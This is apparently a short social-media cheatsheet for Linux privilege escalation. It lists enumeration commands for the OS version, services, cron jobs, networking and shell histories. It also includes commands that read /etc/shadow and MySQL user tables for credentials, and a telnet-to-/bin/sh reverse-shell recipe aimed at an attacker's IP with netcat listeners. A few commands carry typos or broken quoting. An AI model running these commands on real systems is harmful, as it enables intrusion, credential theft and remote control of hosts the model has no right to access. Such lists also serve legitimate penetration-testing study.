PEACE

Privilege Escalation Cheatsheet V1

Operating System

Distro & Version

- cat /etc/issue
- cat /etc/*-release
- cat /etc/lsb-release

Kernal Verison

- cat /proc/version
- uname -a
- uname -mrs
- rpm -q kernel
- dmesg | grep Linux
- ls /boot | grep vmlinuz-

Environmental variables

- cat /etc/profile
- cat /etc/bashrc
- cat ~/.bash_profile
- cat ~/.bashrc cat ~/.bash_logout
- env
- set

Is there a printer?

- lpstat -a

Interesting in the home directorie(s)?

- ls -ahlR /root/
- ls -ahlR /home/

- What user information can be found?
  - cat ~/.bashrc
  - cat ~/.profile
  - cat /var/mail/root
  - cat /var/spool/mail/root
- User being doing? Is there any password in plain text? What have they been edting?
  - cat ~/.bash_history
  - cat ~/.nano_history
  - cat ~/.atftp_history
  - cat ~/.mysql_history
  - cat ~/.php_history

Applications & Services

Running Services with User Stat

- ps aux
- ps -ef
- top
- cat/etc/services

Service running by root

- ps aux | grep root
- ps -ef | grep root

Installed Application & Version

- ls -alh /usr/bin/
- ls -alh /sbin/
- dpkg -l
- rpm -qa
- ls -alh /var/cache/apt/archivesO
- ls -alh /var/cache/yum/

Service(s) settings misconfigured & Check if Vulnerability Occurs

- cat /etc/syslog.conf
- cat /etc/chttp.conf
- cat /etc/lighttpd.conf
- cat /etc/cups/cupsd.conf
- cat /etc/inetd.conf
- cat /etc/apache2/apache2.conf
- cat /etc/my.conf
- cat /etc/httpd/conf/httpd.conf
- cat /opt/lampp/etc/httpd.conf
- ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

Sheduled Jobs

- crontab -l
- ls -alh /var/spool/cron
- ls -al /etc/ | grep cron
- ls -al /etc/cron*
- cat /etc/cron*
- cat /etc/at.allow
- cat /etc/at.deny
- cat /etc/cron.allow
- cat /etc/cron.deny
- cat /etc/crontab
- cat /etc/anacrontab
- cat /var/spool/cron/crontabs/root

Communications & Networking

What NIC(s) System have is it Connected to Another Network

- /sbin/ifconfig -a
- cat /etc/network/interfaces
- cat /etc/sysconfig/network

What Network configuration settings ? What about Network ? DHCP server? DNS server? Gateway?

- cat /etc/resolv.conf
- cat /etc/sysconfig/network
- cat /etc/networks
- iptables -L
- hostname
- dnsdomainname

Other users & hosts communicating with the system?

- lsof -i
- lsof -i :80
- grep 80 /etc/services
- netstat -antup
- netstat -antpx
- netstat -tulpn
- chkconfig --list
- chkconfig --list | grep 3:on
- last
- w

Whats cached? IP and/or MAC addresses

- arp -e
- route
- /sbin/route -nee

Packet sniffing possible? What can be seen? Listen to live traffic

- tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

Note: tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

- Have you got a shell? Can you interact with the system?
  - nc -lvp 4444 # Attacker. Input (Commands)
  - nc -lvp 4445 # Attacker. Ouput (Results)
  - telnet [attackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP!
- What sensitive files can be found?
  - cat /etc/passwd
  - cat /etc/group
  - cat /etc/shadow
  - ls -alh /var/mail/
- Confidential Information & Users Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?
  - id
  - who
  - w
  - last
  - cat /etc/passwd | cut -d: -f1

List of users

  - grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'

List of super users

  - awk -F: '($3 == "0") {print}' /etc/passwd

List of super users

  - cat /etc/sudoers sudo -l
- Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords
  - cat /var/apache2/config.inc
  - cat /var/lib/mysql/mysql/user.MYD
  - cat /root/anaconda-ks.cfg

@Aacle_